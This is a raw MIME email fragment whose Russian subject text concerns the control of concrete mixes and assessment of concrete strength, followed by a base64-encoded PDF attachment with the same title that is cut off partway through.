boundary="----=_NextPart_001_1708_01CF26F2.7B313FC0" ------=_NextPart_001_1708_01CF26F2.7B313FC0 Content-Type: text/plain; charset="windows-1251" Content-Transfer-Encoding: quoted-printable =CA=EE=ED=F2=F0=EE=EB=FC =E1=E5=F2=EE=ED=ED=FB=F5 =F1=EC=E5=F1=E5=E9 =E8 = =EE=F6=E5=ED=EA=E0 =EF=F0=EE=F7=ED=EE=F1=F2=E8 =E1=E5=F2=EE=ED=E0 ------=_NextPart_001_1708_01CF26F2.7B313FC0 Content-Type: text/html; charset="windows-1251" Content-Transfer-Encoding: quoted-printable
=CA=EE=ED=F2=F0=EE=EB=FC =E1=E5=F2=EE=ED=ED=FB=F5 =F1=EC=E5=F1=E5=E9= =E8 =EE=F6=E5=ED=EA=E0 =EF=F0=EE=F7=ED=EE=F1=F2=E8 =E1=E5=F2=EE=ED=E0
------=_NextPart_001_1708_01CF26F2.7B313FC0-- ------=_NextPart_000_1707_01CF26F2.7B313FC0 Content-Type: application/octet-stream; name="=?windows-1251?B?yu7t8vDu6/wg4eXy7u3t+/Ug8ezl8eXpIOgg?= =?windows-1251?B?7vbl7ergIO/w7vft7vHy6CDh5fLu7eAucGRm?=" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="=?windows-1251?B?yu7t8vDu6/wg4eXy7u3t+/Ug8ezl8eXpIOgg?= =?windows-1251?B?7vbl7ergIO/w7vft7vHy6CDh5fLu7eAucGRm?=" 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 H44JDwuvCX8YYRNRENG/gLpgyYKWBa8ivSLLIu9EmURJonqjFaMTopujX8d4x5THSGOtYlfGXorT iBPEdcdj46Pjm+KnF/os3LlwPME+oTjh+iLjRXmLLizWWJy++PgSxSWcJUcS0YkxiS2J7zmhnAbO 9NKApbVLp7hs7i7uE54Hbwdvku/KL+dPJLkmlSc9SnZN3p48meKeUpHyVMAWVAuep/qn1qW+TgtN 25/2KT0mvT0Dl5GYcVRIEaYJ+zK1M/Myh7PMs4qzpMucl+1cNiUKEjVlQ9mLsrvFNNnP1IDERLJe MprjllOT8yY3OvdInnKeMG9gudnyTcsn8n3zv16BWsFd0VugW7C2YHSl58r6VdCqpat6V+uvLlo9 vsZvzYG1hLVpa38otC4sL3y5LmZdT5FW0ZqisfV+61uLFYpFxTc2uGyo24jaKNg4uGnupqpNH0t4 JRdLrUsrSt9v5m6++JXNV5VffdqStGWwzKFsz1bMVuHW69vctx0oVy7PLx/bHrK9cwdjR8mOlzuX 7LxQYVdRt4uwS7JLWhlc2V1lULW16n11SvVIjVdNe61m7aba17t5u6/s8djTVqdVV1r3bq9g7816 v/rOBqOGin2YfTn7HjZGN/Z/zfq6uUmjqbTpw37hfumBiAN9zY7NzS2aLWWtcKukdfJgwsHL33h/ 093GbKtvp7eXHgKHJIcef5v47fXDQYd7j7COtH1n+F1tB7WjpBPqXN451ZXSJe2O6x4+Gni0t8el p+N7y+/3H9M9VnNc5XjZCcKJohOfTuafnD6Vderp6eTTY71Leu+ciT1zrS+8b/Bs0Nnz53zPnen3 7D953vX8sQvOF45eZF3suuRwqXPAfqDjB/sfOgYdBjuHHIe6Lztd7hmeN3ziivuV01e9r567FnDt 0sj8keHrUddv3ki4Ib3Ju/noVvqt57dzbs/cWXMXfbfkntK9ivua9xt+NP2xXeogPT7qPTrwYMGD O2PcsSc/Zf/0frzoIflhxYTORPMj20fHJn0nLz9e+Hj8SdaTmafFPyv/XPvM5Nl3v3j8MjAVOzX+ XPT806+bX6i/2P/S7mXvdNj0/VcZr2Zel7xRf3PgLett/7uYdxMzue+x7ys/mH7o+Rj08e6njE+f fgP3hPP7CmVuZHN0cmVhbQplbmRvYmoKMiAwIG9iago8PC9UeXBlL1hPYmplY3QvU3VidHlwZS9J bWFnZS9XaWR0aCAxMjQwL0hlaWdodCAxNzU0L0xlbmd0aCAxMTgwMTcvQ29sb3JTcGFjZVsvSW5k ZXhlZFsvSUNDQmFzZWQgMSAwIFJdIDI1MigAAAAaGhozMzNNTU1mZmaAgICZmZmzs7PMzMzm5ub/ //8AAP8AM/8AZv8Amf8AzP8A//8A/8wA/5kA/2YA/zMA/wAz/wBm/wCZ/wDM/wD//wD/zAD/mQD/ ZgD/MwD/AAD/ADP/AGb/AJn/AMz/AP8zAGYzM2YzZmYzmWYzzGYz/2aZzGaZmWaZZmaZM2aZAGYA AAAAADMAAGYAAJkAAMwAAP8AMwAAMzMAM2YAM5kAM8wAM/8AZgAAZjMAZmYAZpkAZswAZv8AmQAA mTMAmWYAmZkAmcwAmf8AzAAAzDMAzGYAzJkAzMwAzP8A/wAA/zMA/2YA/5kA/8wA//8zAAAzADMz AJkzAMwzAP8zMwAzMzMzM5kzM8wzM/8zZgAzZjMzZpkzZswzZv8zmQAzmTMzmZkzmcwzmf8zzAAz zDMzzJkzzMwzzP8z/wAz/zMz/5kz/8wz//9mAABmADNmAGZmAJlmAMxmAP9mMwBmMzNmM2ZmM5lm M8xmM/9mZgBmZjNmZmZmZplmZsxmZv9mmQBmmTNmmWZmmZlmmcxmmf9mzABmzDNmzGZmzJlmzMxm zP9m/wBm/zNm/2Zm/5lm/8xm//+ZAACZADOZAJmZAMyZAP+ZMwCZMzOZM5mZM8yZM/+ZZgCZZjOZ ZpmZZsyZZv+ZmQCZmTOZmZmZmcyZmf+ZzACZzDOZzJmZzMyZzP+Z/wCZ/zOZ/2aZ/5mZ/8yZ///M AADMADPMAGbMAJnMAMzMAP/MMwDMMzPMM2bMM5nMM8zMM//MZgDMZjPMZmbMZpnMZszMZv/MmQDM mTPMmWbMmZnMmczMmf/MzADMzDPMzGbMzJnMzMzMzP/M/wDM/zPM/2bM/5nM/8zM////AAD/ADP/ AGb/AJn/AMz/AP//MwD/MzP/M2b/M5n/M8z/M///ZgD/ZjP/Zmb/Zpn/Zsz/Zv//mQD/mTP/mWb/ mZn/mcz/mf//zAD/zDP/zGb/zJn/zMz/zP///wD//zP//2b//5n//8z///8pXS9EZWNvZGVQYXJt czw8L0JpdHNQZXJDb21wb25lbnQgOC9QcmVkaWN0b3IgMTUvQ29sdW1ucyAxMjQwL0NvbG9ycyAx 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 